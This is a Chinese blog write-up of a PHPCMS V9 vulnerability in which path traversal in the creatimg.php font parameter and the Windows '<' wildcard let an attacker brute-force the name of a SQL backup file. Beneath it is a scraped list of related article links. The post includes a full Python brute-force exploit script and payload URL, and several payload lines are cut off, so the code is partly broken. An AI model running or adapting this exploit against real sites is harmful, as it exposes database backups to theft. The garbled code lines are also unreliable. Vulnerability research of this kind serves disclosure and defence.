payload:/api.php?op=creatimg&txt=mochazz&font=/../../../../caches/bakup/default/gv5dmx<<.sql>

我们知道windows的FindFirstFile(API)有个特性就是可以把<

这个漏洞和前一阵子dedecms后台爆破如出一辙,api.php文件的$op变量决定用户的操作

# api.php

define('PHPCMS_PATH', dirname(__FILE__).DIRECTORY_SEPARATOR);

include PHPCMS_PATH.'phpcms/base.php';

......

$op = isset($_GET['op']) && trim($_GET['op']) ? trim($_GET['op']) : exit('Operation can not be empty');

......

if (!preg_match('/([^a-z_]+)/i',$op) && file_exists(PHPCMS_PATH.'api/'.$op.'.php')) {

include PHPCMS_PATH.'api/'.$op.'.php';

......

?>

在/api/creatimg.php文件中,使用了file_exists()函数判断$fontfile文件是否存在,文件存在和不存在的返回信息是不同的,而且$fontfile可以被用户控制,且未过滤.和/等符号,最终导致了漏洞发生。

# /api/creatimg.php

defined('IN_PHPCMS') or exit('No permission resources.');

$txt = trim($_GET['txt']);

if(extension_loaded('gd') && $txt ) {

......

$fontfile = isset($_GET['font']) && !empty($_GET['font']) ? $fontpath.trim($_GET['font']) : $fontpath.'georgia.ttf';

......

if(file_exists($fontfile)){

//计算文本写入后的宽度,右下角 X 位置-左下角 X 位置

$image_info = imagettfbbox($fontsize,0,$fontfile,$txt);

$imageX = $image_info[2]-$image_info[0]+10;

$imageY = $image_info[1]-$image_info[7]+5;

......

爆破脚本如下:

#!/usr/bin/env python

# coding=utf-8

'''/*

* author = Mochazz

* team   = 红日安全团队

* env    = pyton3

*

*/

'''

import requests

import itertools

characters = "abcdefghjklmnopqrstuvwxyz0123456789_!#"

backup_sql = ""

payload = "/api.php?op=creatimg&txt=mochazz&font=/../../../../caches/bakup/default/{location}<

url = "http://192.168.0.106"

flag = 0

for num in range(1,7):

if flag:

break

for pre in itertools.permutations(characters,num):

pre = ''.join(list(pre))

payload = payload.format(location=pre)

r = requests.get(url+payload)

if r.status_code == 200 and "PNG" in r.text:

flag = 1

backup_sql = pre

payload = "/api.php?op=creatimg&txt=mochazz&font=/../../../../caches/bakup/default/{location}<

break

else:

payload = "/api.php?op=creatimg&txt=mochazz&font=/../../../../caches/bakup/default/{location}<

print("[+] 前缀为:",backup_sql)

flag = 0

for i in range(30):

if flag:

break

for ch in characters:

if ch == characters[-1]:

flag = 1

break

payload = payload.format(location=backup_sql+ch)

r = requests.get(url + payload)

if r.status_code == 200 and "PNG" in r.text:

backup_sql += ch

print("[+] ",backup_sql)

payload = "/api.php?op=creatimg&txt=mochazz&font=/../../../../caches/bakup/default/{location}<

break

else:

payload = "/api.php?op=creatimg&txt=mochazz&font=/../../../../caches/bakup/default/{location}<

print("备份sql文件地址为:",backup_sql+".sql")

效果如下:

后记:

在测试的过程中,由于本地php环境出现问题,导致复现一直没成功,最终重装环境解决问题。实际上,如果这个程序加以修改,理论上是可以利用这个漏洞遍历整个phpcms目录文件结构的,只要前缀重复的不多(例如get_file.php和get_img.php的重复前缀为get_)。

相关文章:

phpcms数据库备份与恢复_phpcms V9 sql备份文件名爆破相关推荐

  1. bat手动备份数据库,当前时间命名备份文件名

    cd C:\Program Files\Huweishen.com\PHPWEB\MySQL Server 5.5\bin mysqldump -uroot -pxxxx hrfx > E:\h ...

  2. phpcms数据库备份与恢复_数据库备份与恢复方案

    推荐教程:SQL教程 SQL SERVER数据备份方案 SQL SERVER数据库的备份方法主要有完整备份,差异备份,事务日志备份等.根据数据安全性的要求,推荐的备份方式为每周一次完整备份,每天一次差 ...

  3. 深入剖析ORACLE数据库备份与恢复的原理

    一.ORACLE数据库备份与恢复方法 1,用户管理的ORACLE数据库备份与恢复 用户管理的ORACLE数据库备份与恢复是指使用SQL 语句命令结合OS命令备份和恢复DB的方法(也被称为OS 备份与恢 ...

  4. MySQL数据库——备份与恢复

    文章目录 MySQL数据库--备份与恢复 一.Mysql备份概述 1.数据备份的重要性 2.备份必须重视的内容 3.备份过程中必须考虑因素 二.数据库备份的分类 1.物理备份 2.逻辑备份 3.备份方 ...

  5. Day526.数据库备份与恢复 -mysql

    数据库备份与恢复 一.物理备份与逻辑备份 物理备份: 备份数据文件,转储数据库物理文件到某一目录.物理备份恢复速度比较快,但占用空间比较大,MySQL中可以用 xtrabackup 工具来进行物理备份 ...

  6. mysql 5.7 数据库备份_MySQL5.7.20数据库备份与恢复

    MySQL数据库备份与恢复 · ####造成数据丢失的原因#### 程序错误 人为操作错误 运算错误 磁盘故障 灾难(如火灾.地震)和盗窃 · ####物理与逻辑的角度#### 1.物理备份: 冷备份 ...

  7. C#实现SQL数据库备份与恢复

    有两种方法,都是保存为.bak文件.一种是直接用Sql语句执行,另一种是通过引用SQL Server的SQLDMO组件来实现: 1.通过执行Sql语句来实现 注意,用Sql语句实现备份与还原操作时,最 ...

  8. 在sqlyog进行数据库的备份_MySQL数据库备份与恢复(收藏+1)

    MySQL数据库备份与恢复 尽管采取了一些管理措施来保证数据库的安全,但是在不确定的意外情况下,总是有可能造成数据的损失. 例如,意外的停电,不小心的操作失误等都可能造成数据的丢失. 所以为了保证数据 ...

  9. 在sqlyog进行数据库的备份_MYSQL数据库备份与恢复(收藏)

    MySQL数据库备份与恢复 尽管采取了一些管理措施来保证数据库的安全,但是在不确定的意外情况下,总是有可能造成数据的损失. 例如,意外的停电,不小心的操作失误等都可能造成数据的丢失. 所以为了保证数据 ...

最新文章

  1. 为什么用了索引之后,查询就会变快?
  2. 如何用钉钉宜搭制定企业疫情防控数字化管理方案?
  3. 【Mybatis框架】从零开始学Mybatis框架——使用示例
  4. QtCreator无法编辑源文件
  5. Pytorch 张量tensor
  6. 【英语学习】4000 Words 【V1】【U01】The Lion and the Rabbit
  7. 光储充一体化充电站_忙时给车充电 闲时上网供电 多能电动车充电站在乐清投用...
  8. 爬虫练习:南阳理工学院ACM题目信息
  9. iis在xp3上的部署
  10. 蓝牙加密方案,蓝牙方案,蓝牙usbkey,蓝牙key,蓝牙U盾,蓝牙智能卡(公交卡等CPU卡),蓝牙身份认证产品分享,蓝牙公交卡,蓝牙会员卡
  11. bootstrap框架中的分割线
  12. 工作中的积极响应态度
  13. VS中如何导入并且播放音乐
  14. 2015年上半年数据库系统工程师考试上午真题
  15. 深度学习中的数据增强(上)
  16. 10-224 查询比“网络工程”专业所有学生年龄都小的学生姓名
  17. 项目经理到底要不要考取PMP证书呢?
  18. vue发送请求时遇到index.vue?6ced:90 Uncaught (in promise) TypeError: Cannot read properties of undefined
  19. linux虚拟地址空间管理,Linux内存管理4---虚拟地址空间管理
  20. EGO1—使用8选1数据选择器实现四输入逻辑函数 f=∑wxyz(1,3,6,7,11,13,14)

热门文章

  1. JS中设置input的type=radio默认选中
  2. 预训练+微调+Rethinking ImageNet Pre-training论文阅读笔记
  3. 学云计算与大数据前景如何?就业又该何去何从?
  4. Mac M1 10.15+开启允许安装任何来源
  5. 成都旅游 必吃火锅 看蜀大侠龙头火锅炼成记
  6. c语言标准io进程,IO系统-标准C的I/O和文件I/O
  7. 别再傻傻的用CentOS 8的版本了,快升级成CentOS 8 Steam (升级教程)
  8. 数据库内置函数——关于字符串的操作
  9. 第8章第2节:制作企业宣传册的封面幻灯片 [PowerPoint精美幻灯片实战教程]
  10. 【数据结构】无头节点的单链表逆置